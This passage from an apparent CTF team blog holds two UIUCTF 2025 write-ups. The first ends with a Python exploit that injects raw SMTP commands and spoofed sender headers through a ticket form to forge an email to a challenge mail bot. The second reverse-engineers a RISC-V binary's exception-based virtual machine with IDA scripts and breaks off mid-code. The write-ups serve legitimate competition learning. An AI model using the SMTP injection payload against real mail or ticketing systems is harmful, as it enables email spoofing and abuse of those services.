&#34;pls fix asap\r\n&#34;
&#34;.\n&#34;
</code></pre><p><em>Ticket-ID was added only for convenience and is not necessary for the final exploit</em></p>
<p>Thus we add our own custom sender and receiver and pass the message on to the server.</p>
<h4 id="final-script">Final script</h4>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#6c7986">#!/usr/bin/env python3</span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">import</span> requests, time, textwrap
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#6c7986">#BASE = &#34;http://localhost:8080&#34;</span>
</span></span><span style="display:flex;"><span>BASE = <span style="color:#fc6a5d">&#34;https://inst-4e64969ec136b504-supermassive-black-hole.chal.uiuc.tf/&#34;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>payload = (
</span></span><span style="display:flex;"><span>    <span style="color:#fc6a5d">&#34;</span><span style="color:#fc6a5d">\n</span><span style="color:#fc6a5d">.</span><span style="color:#fc6a5d">\r\n</span><span style="color:#fc6a5d">&#34;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#fc6a5d">&#34;MAIL FROM:&lt;ceo@supermassive.inc&gt;</span><span style="color:#fc6a5d">\r\n</span><span style="color:#fc6a5d">&#34;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#fc6a5d">&#34;RCPT TO:&lt;it@blackholeticketing.com&gt;</span><span style="color:#fc6a5d">\r\n</span><span style="color:#fc6a5d">&#34;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#fc6a5d">&#34;DATA</span><span style="color:#fc6a5d">\r\n</span><span style="color:#fc6a5d">&#34;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#fc6a5d">&#34;From: leadership@blackholeticketing.com</span><span style="color:#fc6a5d">\r\n</span><span style="color:#fc6a5d">&#34;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#fc6a5d">&#34;To: it@blackholeticketing.com</span><span style="color:#fc6a5d">\r\n</span><span style="color:#fc6a5d">&#34;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#fc6a5d">&#34;Subject: escalate</span><span style="color:#fc6a5d">\r\n</span><span style="color:#fc6a5d">&#34;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#fc6a5d">&#34;X-Ticket-ID: 1444</span><span style="color:#fc6a5d">\r\n</span><span style="color:#fc6a5d">&#34;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#fc6a5d">&#34;</span><span style="color:#fc6a5d">\r\n</span><span style="color:#fc6a5d">&#34;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#fc6a5d">&#34;pls fix asap</span><span style="color:#fc6a5d">\r\n</span><span style="color:#fc6a5d">&#34;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#fc6a5d">&#34;.</span><span style="color:#fc6a5d">\n</span><span style="color:#fc6a5d">&#34;</span>
</span></span><span style="display:flex;"><span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#6c7986">#injection ticket</span>
</span></span><span style="display:flex;"><span>requests.post(<span style="color:#fc6a5d">f</span><span style="color:#fc6a5d">&#34;</span><span style="color:#fc6a5d">{</span>BASE<span style="color:#fc6a5d">}</span><span style="color:#fc6a5d">/submit_ticket&#34;</span>,
</span></span><span style="display:flex;"><span>              data={<span style="color:#fc6a5d">&#34;subject&#34;</span>: <span style="color:#fc6a5d">&#34;Outage&#34;</span>, <span style="color:#fc6a5d">&#34;message&#34;</span>: payload})
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#6c7986">#wait for the bot to process</span>
</span></span><span style="display:flex;"><span>time.sleep(<span style="color:#d0bf69">2</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>resp = requests.get(<span style="color:#fc6a5d">f</span><span style="color:#fc6a5d">&#34;</span><span style="color:#fc6a5d">{</span>BASE<span style="color:#fc6a5d">}</span><span style="color:#fc6a5d">/check_response/1444&#34;</span>).json()
</span></span><span style="display:flex;"><span><span style="color:#d0a8ff">print</span>(resp[<span style="color:#fc6a5d">&#34;response&#34;</span>])
</span></span></code></pre></div><p><strong><code>uiuctf{7h15_c0uld_h4v3_b33n_4_5l4ck_m355463_8091732490}</code></strong></p>
]]></content></item><item><title>UIUCTF 25 - ELF Capsule</title><link>https://theromanxpl0.it/posts/2025/07/uiuctf-25-elf-capsule/</link><pubDate>Tue, 29 Jul 2025 11:15:30 +0200</pubDate><author>info@theromanxpl0.it (TRX)</author><guid>https://theromanxpl0.it/posts/2025/07/uiuctf-25-elf-capsule/</guid><description>&lt;h2 id="description">Description&lt;/h2>
&lt;p>The ELF cannot be effectively delivered without the ELF.&lt;/p>
&lt;p>Note: The flag consists of only printable ASCII characters.&lt;/p>
&lt;p>The flag has format uiuctf{&amp;hellip;}, and inputs to program should follow this format.
Your solve script shouldn&amp;rsquo;t take more than 10 minutes to run.&lt;/p>
&lt;p>Author: CBCicada&lt;/p>
&lt;h2 id="analysis">Analysis&lt;/h2>
&lt;p>First thing first, we can start by throwing common commands against this binary, such as &lt;code>strings&lt;/code> or &lt;code>binwalk&lt;/code>, &lt;code>binwalk&lt;/code> finds a hidden binary inside the binary, this will be useful later; in the strings there is not something useful.&lt;/p></description><content type="html"><![CDATA[<h2 id="description">Description</h2>
<p>The ELF cannot be effectively delivered without the ELF.</p>
<p>Note: The flag consists of only printable ASCII characters.</p>
<p>The flag has format uiuctf{&hellip;}, and inputs to program should follow this format.
Your solve script shouldn&rsquo;t take more than 10 minutes to run.</p>
<p>Author: CBCicada</p>
<h2 id="analysis">Analysis</h2>
<p>First thing first, we can start by throwing common commands against this binary, such as <code>strings</code> or <code>binwalk</code>, <code>binwalk</code> finds a hidden binary inside the binary, this will be useful later; in the strings there is not something useful.</p>
<p>In the main RICV binary, following a bit of the code flow from the <code>start</code> function, we see that we arrive through <code>sub_80000060</code> at <code>loc_80000E78</code> which loads the addr of the inner elf into a register and then it calls <code>sub_800004BC</code> that will dispatch the embedded binary</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span>loc_80000E78:
</span></span><span style="display:flex;"><span>    addi    sp, sp, -<span style="color:#d0bf69">20</span>h
</span></span><span style="display:flex;"><span>    sd      ra, <span style="color:#d0bf69">18</span>h(sp)
</span></span><span style="display:flex;"><span>    sd      s0, <span style="color:#d0bf69">10</span>h(sp)
</span></span><span style="display:flex;"><span>    addi    s0, sp, <span style="color:#d0bf69">20</span>h <span style="color:#960050">#</span> <span style="color:#fc6a5d">&#39; &#39;</span>
</span></span><span style="display:flex;"><span>    call    sub_80000210
</span></span><span style="display:flex;"><span>    addi    a1, s0, -<span style="color:#d0bf69">18</span>h
</span></span><span style="display:flex;"><span>    la      a0, unk_80001000 <span style="color:#960050">#</span> Inner Binary
</span></span><span style="display:flex;"><span>    call    sub_800004BC <span style="color:#960050">#</span> Dispatch function
</span></span><span style="display:flex;"><span>    lui     a0, <span style="color:#d0bf69">801</span>h
</span></span><span style="display:flex;"><span>    ld      a1, -<span style="color:#d0bf69">18</span>h(s0)
</span></span><span style="display:flex;"><span>    slli    a0, a0, <span style="color:#d0bf69">8</span>
</span></span><span style="display:flex;"><span>    la      a2, unk_80006010
</span></span><span style="display:flex;"><span>    addi    a0, a0, -<span style="color:#d0bf69">1</span>
</span></span><span style="display:flex;"><span>    call    sub_800001DC
</span></span></code></pre></div><p>We will return to this binary after looking the second one.</p>
<h3 id="inner-binary">Inner binary</h3>
<p>As there&rsquo;s only one function present, it’s time to dig into it. Immediately, three patterns stand out, each mimicking virtual machine instructions implemented via exception-driven control flow.</p>
<p>In RISCV, invalid memory accesses raise exceptions that provide context through two special registers:</p>
<ul>
<li><code>scause</code>: indicates the type of fault (e.g., <strong>5</strong> for load access fault, <strong>7</strong> for store/AMO access fault)</li>
<li><code>stval</code>: holds the offending address, which in our case is crafted to act as an opcode</li>
</ul>
<p>The handler in the main binary (at <code>sub_800001C0</code>) uses these values to determine what action to take. Specifically:</p>
<p>This transforms <code>stval</code> into an indexable opcode.
Thus, load and store instructions to invalid addresses are used intentionally to encode calls to virtual instructions. There are three key patterns:</p>
<p><strong>Pattern 1</strong>: Store to an invalid address — triggers <code>scause = 7</code></p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span>li   a5, <span style="color:#d0bf69">421</span>h
</span></span><span style="display:flex;"><span>la   a4, aWhatIsTheFlag <span style="color:#960050">#</span> <span style="color:#fc6a5d">&#34;What is the flag?&#34;</span>
</span></span><span style="display:flex;"><span>sd   a4, <span style="color:#d0bf69">0</span>(a5)
</span></span></code></pre></div><p>This triggers the VM handler, which reads <code>stval = 0x421</code> and <code>scause = 7</code>, resulting in a store-based opcode lookup.</p>
<p><strong>Pattern 2</strong>: Load from an invalid address — triggers <code>scause = 5</code></p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span>li  a5, <span style="color:#d0bf69">0</span>DD3h
</span></span><span style="display:flex;"><span>ld  a5, <span style="color:#d0bf69">0</span>(a5)
</span></span></code></pre></div><p>Now the VM handler sees <code>stval = 0xDD3</code> and <code>scause = 5</code>, and dispatches the corresponding &ldquo;load&rdquo; opcode.</p>
<p><strong>Pattern 3</strong>: Computed addresses and mixed instructions</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span>lui   a5, <span style="color:#d0bf69">1</span>
</span></span><span style="display:flex;"><span>addi  a4, a5, -<span style="color:#d0bf69">37</span>Ah
</span></span><span style="display:flex;"><span>li    a5, <span style="color:#d0bf69">0</span>DD3h
</span></span><span style="display:flex;"><span>ld    a4, <span style="color:#d0bf69">0</span>(a4)
</span></span><span style="display:flex;"><span>sd    a4, <span style="color:#d0bf69">0</span>(a5)
</span></span></code></pre></div><p>In this case, address values are calculated dynamically before being used in a <code>ld</code> or <code>sd</code>, resulting again in a VM &ldquo;call&rdquo; through exception handling. The store and load exceptions are used interchangeably depending on which virtual instruction is being simulated.</p>
<p>This exception-based dispatch mechanism lets the embedded binary implement a full virtual instruction set without needing a real dispatcher loop, relying instead on the RISC-V architecture’s exception handling features to interpret VM opcodes.</p>
<h2 id="main-binary">Main binary</h2>
<p>As we saw earlier <code>sub_800001C0</code> contains the code of the functions that are called with codes as invalid memory addresses, there are two branches, one for operation type (load and store), that will do 2 similar operations, for example the xor operation is defined as <code>stack[-1] ^= a4</code> for the stores and <code>a4 = stack[-2] ^ stack[-1]</code> for the loads, this pattern is shared between all operations + some functions that are one, the inverse of the other (like <code>push</code> and <code>pop</code>).</p>
<h2 id="decompiler">Decompiler</h2>
<p>Given the previous patterns is possible to write a simple pattern matching decompiler (more like a function call resolver) for the inner binary.</p>
<p>We can start by enumerating all the found functions from the first binary function <code>sub_800001C0</code> which contains all the &ldquo;opcodes&rdquo; that are called, and also we notice that the &ldquo;load and &ldquo;store&rdquo; operations are actually two different type of instructions. (the <code>push_call</code> are like the init of a for loop and we have 3 of them, then the <code>pop_call</code> is the dec of the loop index)</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-py" data-lang="py"><span style="display:flex;"><span>sd_codes = {
</span></span><span style="display:flex;"><span>	<span style="color:#d0bf69">0</span>: <span style="color:#fc6a5d">&#39;exit&#39;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#d0bf69">105</span>: <span style="color:#fc6a5d">&#39;print a4&#39;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#d0bf69">719</span>: <span style="color:#fc6a5d">&#39;push_call_1&#39;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#d0bf69">720</span>: <span style="color:#fc6a5d">&#39;push_call_2&#39;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#d0bf69">721</span>: <span style="color:#fc6a5d">&#39;push_call_3&#39;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#d0bf69">1195</span>: <span style="color:#fc6a5d">&#39;push a4&#39;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#d0bf69">1401</span>: <span style="color:#fc6a5d">&#39;stack[-1] |= a4&#39;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#d0bf69">1763</span>: <span style="color:#fc6a5d">&#39;stack[-1] ^= a4&#39;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#d0bf69">3094</span>: <span style="color:#fc6a5d">&#39;stack[-1] *= a4&#39;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#d0bf69">3291</span>: <span style="color:#fc6a5d">&#39;stack[-1] rol= a4&#39;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#d0bf69">3625</span>: <span style="color:#fc6a5d">&#39;encrypt a4&#39;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#d0bf69">3893</span>: <span style="color:#fc6a5d">&#39;stack[-1] += a4&#39;</span>
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>ld_codes = {
</span></span><span style="display:flex;"><span>	<span style="color:#d0bf69">0</span>: <span style="color:#fc6a5d">&#39;exit&#39;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#d0bf69">105</span>: <span style="color:#fc6a5d">&#39;getchar a4&#39;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#d0bf69">719</span>: <span style="color:#fc6a5d">&#39;pop_call_1&#39;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#d0bf69">720</span>: <span style="color:#fc6a5d">&#39;pop_call_2&#39;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#d0bf69">721</span>: <span style="color:#fc6a5d">&#39;pop_call_3&#39;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#d0bf69">1195</span>: <span style="color:#fc6a5d">&#39;pop a4&#39;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#d0bf69">1401</span>: <span style="color:#fc6a5d">&#39;a4 = stack[-2] | stack[-1]&#39;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#d0bf69">1763</span>: <span style="color:#fc6a5d">&#39;a4 = stack[-2] ^ stack[-1]&#39;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#d0bf69">3094</span>: <span style="color:#fc6a5d">&#39;a4 = stack[-2] * stack[-1]&#39;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#d0bf69">3291</span>: <span style="color:#fc6a5d">&#39;a4 = rol stack[-2] stack[-1]&#39;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#d0bf69">3625</span>: <span style="color:#fc6a5d">&#39;decrypt a4&#39;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#d0bf69">3893</span>: <span style="color:#fc6a5d">&#39;a4 = stack[-2] + stack[-1]&#39;</span>
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">def</span> <span style="color:#41a1c0">decode_vm_opcode</span>(stval):
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">return</span> (<span style="color:#d0bf69">105</span> * (stval ^ <span style="color:#d0bf69">0x420</span>)) &amp; <span style="color:#d0bf69">0xFFF</span>
</span></span></code></pre></div><p>then we can extract the values that will be called</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-py" data-lang="py"><span style="display:flex;"><span>li_regex = re.compile(<span style="color:#fc6a5d">r</span><span style="color:#fc6a5d">&#34;li\s*a(.),\s(.*)h&#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">if</span> m := li_regex.<span style="color:#fc5fa3">match</span>(inst):
</span></span><span style="display:flex;"><span>	<span style="color:#fc5fa3">if</span> <span style="color:#d0a8ff">int</span>(m.group(<span style="color:#d0bf69">1</span>)) == <span style="color:#d0bf69">4</span>:
</span></span><span style="display:flex;"><span>		<span style="color:#fc5fa3">if</span> a4 is not <span style="color:#fc5fa3">None</span>:
</span></span><span style="display:flex;"><span>			<span style="color:#d0a8ff">print</span>(<span style="color:#fc6a5d">f</span><span style="color:#fc6a5d">&#34;Warn: Found &#39;li a4&#39; double at </span><span style="color:#fc6a5d">{</span><span style="color:#d0a8ff">hex</span>(addr)<span style="color:#fc6a5d">}</span><span style="color:#fc6a5d">&#34;</span>)
</span></span><span style="display:flex;"><span>			<span style="color:#fc5fa3">break</span>
</span></span><span style="display:flex;"><span>		a4 = <span style="color:#d0a8ff">int</span>(m.group(<span style="color:#d0bf69">2</span>), <span style="color:#d0bf69">16</span>)
</span></span><span style="display:flex;"><span>	<span style="color:#fc5fa3">else</span>:
</span></span><span style="display:flex;"><span>		<span style="color:#fc5fa3">if</span> a5 is not <span style="color:#fc5fa3">None</span>:
</span></span><span style="display:flex;"><span>			<span style="color:#d0a8ff">print</span>(<span style="color:#fc6a5d">f</span><span style="color:#fc6a5d">&#34;Warn: Found &#39;li a5&#39; double at </span><span style="color:#fc6a5d">{</span><span style="color:#d0a8ff">hex</span>(addr)<span style="color:#fc6a5d">}</span><span style="color:#fc6a5d">&#34;</span>)
</span></span><span style="display:flex;"><span>			<span style="color:#fc5fa3">break</span>
</span></span><span style="display:flex;"><span>		a5 = <span style="color:#d0a8ff">int</span>(m.group(<span style="color:#d0bf69">2</span>), <span style="color:#d0bf69">16</span>)
</span></span><span style="display:flex;"><span>	addr += inst_size
</span></span><span style="display:flex;"><span>	<span style="color:#fc5fa3">continue</span>
</span></span></code></pre></div><p>we can now resolve the &ldquo;store&rdquo; calls into a real call</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-py" data-lang="py"><span style="display:flex;"><span>sd_regex = re.compile(<span style="color:#fc6a5d">r</span><span style="color:#fc6a5d">&#34;s(d|b)\s*(a4|zero),\s0\(a(.)\)&#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">if</span> m := sd_regex.<span style="color:#fc5fa3">match</span>(inst):
</span></span><span style="display:flex;"><span>	<span style="color:#fc5fa3">if</span> <span style="color:#d0a8ff">int</span>(m.group(<span style="color:#d0bf69">3</span>)) == <span style="color:#d0bf69">4</span>:
</span></span><span style="display:flex;"><span>		<span style="color:#fc5fa3">if</span> a4 is <span style="color:#fc5fa3">None</span>:
</span></span><span style="display:flex;"><span>			<span style="color:#d0a8ff">print</span>(<span style="color:#fc6a5d">f</span><span style="color:#fc6a5d">&#34;Warn: Found &#39;sd a4&#39; without a4 at </span><span style="color:#fc6a5d">{</span><span style="color:#d0a8ff">hex</span>(addr)<span style="color:#fc6a5d">}</span><span style="color:#fc6a5d">&#34;</span>)
</span></span><span style="display:flex;"><span>			<span style="color:#fc5fa3">break</span>
</span></span><span style="display:flex;"><span>		real_func = decode_vm_opcode(a4)
</span></span><span style="display:flex;"><span>		real_func = sd_codes.get(real_func, <span style="color:#fc6a5d">f</span><span style="color:#fc6a5d">&#39;unknown_</span><span style="color:#fc6a5d">{</span>real_func<span style="color:#fc6a5d">}</span><span style="color:#fc6a5d">&#39;</span>)
</span></span><span style="display:flex;"><span>		a4 = <span style="color:#fc5fa3">None</span>
</span></span><span style="display:flex;"><span>	<span style="color:#fc5fa3">else</span>:
</span></span><span style="display:flex;"><span>		<span style="color:#fc5fa3">if</span> a5 is <span style="color:#fc5fa3">None</span>:
</span></span><span style="display:flex;"><span>			<span style="color:#d0a8ff">print</span>(<span style="color:#fc6a5d">f</span><span style="color:#fc6a5d">&#34;Warn: Found &#39;sd a5&#39; without a5 at </span><span style="color:#fc6a5d">{</span><span style="color:#d0a8ff">hex</span>(addr)<span style="color:#fc6a5d">}</span><span style="color:#fc6a5d">&#34;</span>)
</span></span><span style="display:flex;"><span>			<span style="color:#fc5fa3">break</span>
</span></span><span style="display:flex;"><span>		real_func = decode_vm_opcode(a5)
</span></span><span style="display:flex;"><span>		real_func = sd_codes.get(real_func, <span style="color:#fc6a5d">f</span><span style="color:#fc6a5d">&#39;unknown_</span><span style="color:#fc6a5d">{</span>real_func<span style="color:#fc6a5d">}</span><span style="color:#fc6a5d">&#39;</span>)
</span></span><span style="display:flex;"><span>		a5 = <span style="color:#fc5fa3">None</span>
</span></span><span style="display:flex;"><span>	inst = <span style="color:#fc6a5d">f</span><span style="color:#fc6a5d">&#39;</span><span style="color:#fc6a5d">{</span>real_func<span style="color:#fc6a5d">}</span><span style="color:#fc6a5d">&#39;</span>
</span></span></code></pre></div><p>then we step to the &ldquo;load&rdquo; calls that are similar to the above</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-py" data-lang="py"><span style="display:flex;"><span>ld_regex = re.compile(<span style="color:#fc6a5d">r</span><span style="color:#fc6a5d">&#34;l(d|bu)\s*a.,\s0\(a(.)\)&#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">if</span> m := ld_regex.<span style="color:#fc5fa3">match</span>(inst):
</span></span><span style="display:flex;"><span>	<span style="color:#fc5fa3">if</span> <span style="color:#d0a8ff">int</span>(m.group(<span style="color:#d0bf69">2</span>)) == <span style="color:#d0bf69">4</span>:
</span></span><span style="display:flex;"><span>		<span style="color:#fc5fa3">if</span> a4 is <span style="color:#fc5fa3">None</span>:
</span></span><span style="display:flex;"><span>			<span style="color:#d0a8ff">print</span>(<span style="color:#fc6a5d">f</span><span style="color:#fc6a5d">&#34;Warn: Found &#39;ld a4&#39; without a4 at </span><span style="color:#fc6a5d">{</span><span style="color:#d0a8ff">hex</span>(addr)<span style="color:#fc6a5d">}</span><span style="color:#fc6a5d">&#34;</span>)
</span></span><span style="display:flex;"><span>			<span style="color:#fc5fa3">break</span>
</span></span><span style="display:flex;"><span>		real_func = decode_vm_opcode(a4)
</span></span><span style="display:flex;"><span>		real_func = ld_codes.get(real_func, <span style="color:#fc6a5d">f</span><span style="color:#fc6a5d">&#39;unknown_</span><span style="color:#fc6a5d">{</span>real_func<span style="color:#fc6a5d">}</span><span style="color:#fc6a5d">&#39;</span>)
</span></span><span style="display:flex;"><span>		a4 = <span style="color:#fc5fa3">None</span>
</span></span><span style="display:flex;"><span>	<span style="color:#fc5fa3">else</span>:
</span></span><span style="display:flex;"><span>		<span style="color:#fc5fa3">if</span> a5 is <span style="color:#fc5fa3">None</span>:
</span></span><span style="display:flex;"><span>			<span style="color:#d0a8ff">print</span>(<span style="color:#fc6a5d">f</span><span style="color:#fc6a5d">&#34;Warn: Found &#39;ld a5&#39; without a5 at </span><span style="color:#fc6a5d">{</span><span style="color:#d0a8ff">hex</span>(addr)<span style="color:#fc6a5d">}</span><span style="color:#fc6a5d">&#34;</span>)
</span></span><span style="display:flex;"><span>			<span style="color:#fc5fa3">break</span>
</span></span><span style="display:flex;"><span>		real_func = decode_vm_opcode(a5)
</span></span><span style="display:flex;"><span>		real_func = ld_codes.get(real_func, <span style="color:#fc6a5d">f</span><span style="color:#fc6a5d">&#39;unknown_</span><span style="color:#fc6a5d">{</span>real_func<span style="color:#fc6a5d">}</span><span style="color:#fc6a5d">&#39;</span>)
</span></span><span style="display:flex;"><span>		a5 = <span style="color:#fc5fa3">None</span>
</span></span><span style="display:flex;"><span>	inst = <span style="color:#fc6a5d">f</span><span style="color:#fc6a5d">&#39;</span><span style="color:#fc6a5d">{</span>real_func<span style="color:#fc6a5d">}</span><span style="color:#fc6a5d">&#39;</span>
</span></span></code></pre></div><p>then we can end with the &ldquo;lui&rdquo; calls</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-py" data-lang="py"><span style="display:flex;"><span>lui = <span style="color:#fc6a5d">&#39;lui             a5, 1&#39;</span>
</span></span><span style="display:flex;"><span>addi_regex = re.compile(<span style="color:#fc6a5d">r</span><span style="color:#fc6a5d">&#34;addi\s*a.,\sa.,\s(.*)h&#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">if</span> lui in inst:
</span></span><span style="display:flex;"><span>	addi_inst = idc.GetDisasm(addr+inst_size)
</span></span><span style="display:flex;"><span>	addi_insn = ida_ua.insn_t()
</span></span><span style="display:flex;"><span>	ida_ua.decode_insn(addi_insn, addr+inst_size)
</span></span><span style="display:flex;"><span>	inst_size += addi_insn.size
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	m = addi_regex.<span style="color:#fc5fa3">match</span>(addi_inst)
</span></span><span style="display:flex;"><span>	a4 = <span style="color:#d0a8ff">int</span>(m.group(<span style="color:#d0bf69">1</span>), <span style="color:#d0bf69">16</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	addr += inst_size
</span></span><span style="display:flex;"><span>	<span style="color:#fc5fa3">continue</span>
</span></span></code></pre></div><h3 id="final-code">Final Code</h3>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-py" data-lang="py"><span style="display:flex;"><span><span style="color:#fc5fa3">import</span> ida_hexrays
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">import</span> ida_lines
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">import</span> ida_funcs
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">import</span> ida_kernwin
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">import</span> idautils
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">import</span> idc
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">import</span> idaapi
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">import</span> ida_ua
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">import</span> re
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>ea = idaapi.get_screen_ea()
</span></span><span style="display:flex;"><span>func = ida_funcs.get_func(ea)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">if</span> not func:
</span></span><span style="display:flex;"><span>	<span style="color:#d0a8ff">print</span>(<span style="color:#fc6a5d">&#34;No function found at the current address.&#34;</span>)
</span></span><span style="display:flex;"><span>	exit(<span style="color:#d0bf69">1</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>start = func.start_ea
</span></span><span style="display:flex;"><span>end = func.end_ea
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>sd_codes = {
</span></span><span style="display:flex;"><span>	<span style="color:#d0bf69">0</span>: <span style="color:#fc6a5d">&#39;exit&#39;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#d0bf69">105</span>: <span style="color:#fc6a5d">&#39;print a4&#39;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#d0bf69">719</span>: <span style="color:#fc6a5d">&#39;push_call_1&#39;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#d0bf69">720</span>: <span style="color:#fc6a5d">&#39;push_call_2&#39;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#d0bf69">721</span>: <span style="color:#fc6a5d">&#39;push_call_3&#39;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#d0bf69">1195</span>: <span style="color:#fc6a5d">&#39;push a4&#39;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#d0bf69">1401</span>: <span style="color:#fc6a5d">&#39;stack[-1] |= a4&#39;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#d0bf69">1763</span>: <span style="color:#fc6a5d">&#39;stack[-1] ^= a4&#39;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#d0bf69">3094</span>: <span style="color:#fc6a5d">&#39;stack[-1] *= a4&#39;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#d0bf69">3291</span>: <span style="color:#fc6a5d">&#39;stack[-1] rol= a4&#39;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#d0bf69">3625</span>: <span style="color:#fc6a5d">&#39;encrypt a4&#39;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#d0bf69">3893</span>: <span style="color:#fc6a5d">&#39;stack[-1] += a4&#39;</span>
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>ld_codes = {
</span></span><span style="display:flex;"><span>	<span style="color:#d0bf69">0</span>: <span style="color:#fc6a5d">&#39;exit&#39;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#d0bf69">105</span>: <span style="color:#fc6a5d">&#39;getchar a4&#39;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#d0bf69">719</span>: <span style="color:#fc6a5d">&#39;pop_call_1&#39;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#d0bf69">720</span>: <span style="color:#fc6a5d">&#39;pop_call_2&#39;</span>,
